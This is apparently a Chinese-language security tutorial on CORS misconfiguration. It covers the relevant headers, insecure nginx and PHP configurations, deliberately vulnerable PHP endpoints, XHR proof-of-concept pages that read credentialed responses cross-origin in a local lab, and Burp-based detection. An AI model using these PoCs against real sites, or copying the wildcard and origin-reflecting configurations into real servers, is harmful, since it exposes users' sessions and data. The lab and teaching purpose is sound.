CORS全名跨域資源共享(Cross-Origin-Resourece-sharing),該機制主要是解決瀏覽器同源策略所帶來的不便,使不一樣域的應用可以無視同源策略,進行信息傳遞。javascript
引用一張圖能很好地說明CORS機制的做用php
那麼這個機制是怎麼發揮做用的呢?html
CORS的標準定義是:經過設置http頭部字段,讓客戶端有資格跨域訪問資源。經過服務器的驗證和受權以後,瀏覽器有責任支持這些http頭部字段而且確保可以正確的施加限制。
爲了更好理解這個過程,咱們首先了解下相關的http頭部字段java
請求頭linux
說明nginx
響應頭正則表達式
說明chrome
那麼這個機制,具體能夠總結爲下面這個圖片json
全部的請求實際上都已經發出了,只不過瀏覽器解析的時候根據返回的http頭部字段來選擇性攔截了而已。後端
這個點我就從網上經典的例子來找的,其實默認這樣設置存在不少問題,0x4的時候我會講相應的攻擊思路
我當時google了一下搜索nginx配置跨域CORS)
經典配置一:
location / { add_header Access-Control-Allow-Origin *; add_header Access-Control-Allow-Methods 'GET, POST, OPTIONS'; add_header Access-Control-Allow-Headers 'DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization'; if ($request_method = 'OPTIONS') { return 204; } }
經典配置二:
location / { add_header Access-Control-Allow-Origin $http_origin; add_header Access-Control-Allow-Methods GET,POST,OPTIONS; add_header Access-Control-Allow-Credentials true; add_header Access-Control-Allow-Headers DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type; add_header Access-Control-Max-Age 1728000; }
比較合理的配置方案(加上白名單檢查):
location / { # 檢查域名後綴 這裏進行了檢查 if ($http_origin ~ .test.com) { add_header Access-Control-Allow-Origin $http_origin; add_header Access-Control-Allow-Methods GET,POST,OPTIONS; add_header Access-Control-Allow-Credentials true; add_header Access-Control-Allow-Headers DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type; add_header Access-Control-Max-Age 1728000; } # options請求不轉給後端,直接返回204 }
當年某一個SSRF的漏洞,我就是天真的沒有設置跨域請求,不熟悉,致使丟失了一血,很是遺憾哇。
1.容許全部源
<?php header("Access-Control-Allow-Origin: *"); ?>
2.容許來自特定源的訪問
<?php header('Access-Control-Allow-Origin: '.$_SERVER['HTTP_ORIGIN']); ?>
3.配置多個訪問源
<?php $allowed_origins = array( "http://www.example.com" , "http://app.example.com" , "http://cms.example.com" , ); if (in_array($_SERVER['HTTP_ORIGIN'], $allowed_origins)){ @header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']); } ?>
還有至關多的方式,具體能夠參考Nginx 經過 CORS 實現跨域
這裏我本身寫一個簡單的存在CORS漏洞的服務爲例子展現如何對此進行攻擊(其實沒辦法攻擊)。
<?php header("Access-Control-Allow-Origin: *"); $value = "mySecretIs123456"; setcookie("pass",$value, time()+3600*24); ?> <!DOCTYPE html> <html> <head> <script> window.onload = function(){ document.body.innerHTML = document.cookie; } </script> </head> <body> </body> </html>
能夠看到咱們直接把cookie回顯給了頁面,當時我挖掘騰訊的時候就遇到這樣的一個例子
可是沒想着怎麼去利用,而後給忽略了,不過當時好像也沒開cors配置,畢竟是個test站點。
回到正題上,咱們該怎麼對此進行攻擊呢。
這裏咱們編輯下/etc/hosts
,增長兩條解析記錄
127.0.0.1 victim.com 26 127.0.0.1 attack.com
exp.php:
<html> <head> <script type="text/javascript"> window.onload = function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xhttp.open("GET", "http://victim.com:8888/cors/vuln.php", true); xhttp.send(); } </script> </head> <body> <textarea id="demo"></textarea> </body> </html>
而後咱們僞裝受害者去訪問下:
結果返回的是html的源代碼,沒辦法獲取dom以後的結果,這其實也在個人意料之中由於瀏覽器不會去解析資源內容再返回,歡迎師傅們談下這類型的信息泄漏有啥利用的思路。
這裏分爲兩種狀況:
第一種是無需cookie的,這種通常能夠利用在好比限制了ip的waf,讓管理員去請求敏感頁面獲取相應資源。
漏洞代碼以下:
apiVuln.php
<?php header("Access-Control-Allow-Origin: *"); header("content-type:application/json"); $info = array('user'=>'xq17', 'pass'=>'123456'); echo json_encode($info); //json_encode對變量進行 JSON 編碼
攻擊代碼以下:
<html> <head> <script type="text/javascript"> window.onload = function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xhttp.open("GET", "http://victim.com:8888/cors/apiVuln.php", true); xhttp.send(); } </script> </head> <body> <textarea id="demo"></textarea> </body> </html>
第二種是發送cookie利用登錄信息,而後請求鑑權的api獲取敏感數據。
vuln.php
<?php header("Access-Control-Allow-Origin: *"); session_start(); if(@$_SESSION["user"] == "admin"){ //輸出敏感信息 $info = array('user'=>'xq17', 'pass'=>'123456'); echo json_encode($info); }else { echo "login fail!"; echo '<a href="login.php">登錄</a>'; } ?>
login.php
<?php session_start(); $_SESSION["user"]="admin"; header("Location:vuln.php");
這裏咱們準備下兩個頁面,當咱們嘗試利用這樣的poc來攻擊的話
<html> <head> <script type="text/javascript"> window.onload = function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xhttp.open("GET", "http://victim.com:8888/cors/vuln.php", true); xhttp.withCredentials = false; xhttp.send(); } </script> </head> <body> <textarea id="demo"></textarea> </body> </html>
咱們訪問 http://victim.com:8888/cors/vuln.php,而後點擊登錄獲取到登錄信息,而後咱們僞裝成受害者點擊http://attack.com:8888/cors/exp.php
能夠看到這個接口是須要登錄信息的
可是若是咱們修改vuln.php
成這樣子呢
header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Credentials: true");
能夠看到cookie
的確發送了,也返回了對應的json數據,可是卻沒有被腳本接收到,由於腳本接收到數據得先問下瀏覽器支持不,咱們能夠看下console就能夠發現被禁止的緣由了,由於
header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Credentials: true");
這樣開啓的跨域確定是不安全的,因此瀏覽器直接ban掉了這種配置方式。
這樣也是不行的,咱們再嘗試修改爲:
header("Access-Control-Allow-Origin: http://attack.com:8888"); header("Access-Control-Allow-Credentials: true");
這樣即可以了獲取到敏感信息了。
最後小結一下:
關鍵判斷是否存在cors漏洞
公有資源:Access-Control-Allow-Origin:*
受權信息:Access-Control-Allow-Credentials: true
同時 Access-Control-Allow-Origin:
不爲*
如何有效的探測cors漏洞呢,最簡單的就是咱們僞造一個xhr的請求去測試下能獲取信息不,xhr
請求有一個很明顯的特徵字段:Origin
,這個也是瀏覽器判斷是否同源的根據。
burp是支持簡單的cors漏洞掃描的
可是誤報率很高,並且也須要本身去手工驗證,這裏我比較推薦
就是咱們本身尋找一些關鍵的api接口,而後咱們讓請求自動添加上Origin
而後咱們在看返回包,來判斷這樣的話不但準確並且很方便。
這個實現咱們能夠用burp的替換功能來實現
proxy->options->Match and Replace->Add
勾選上這個便可。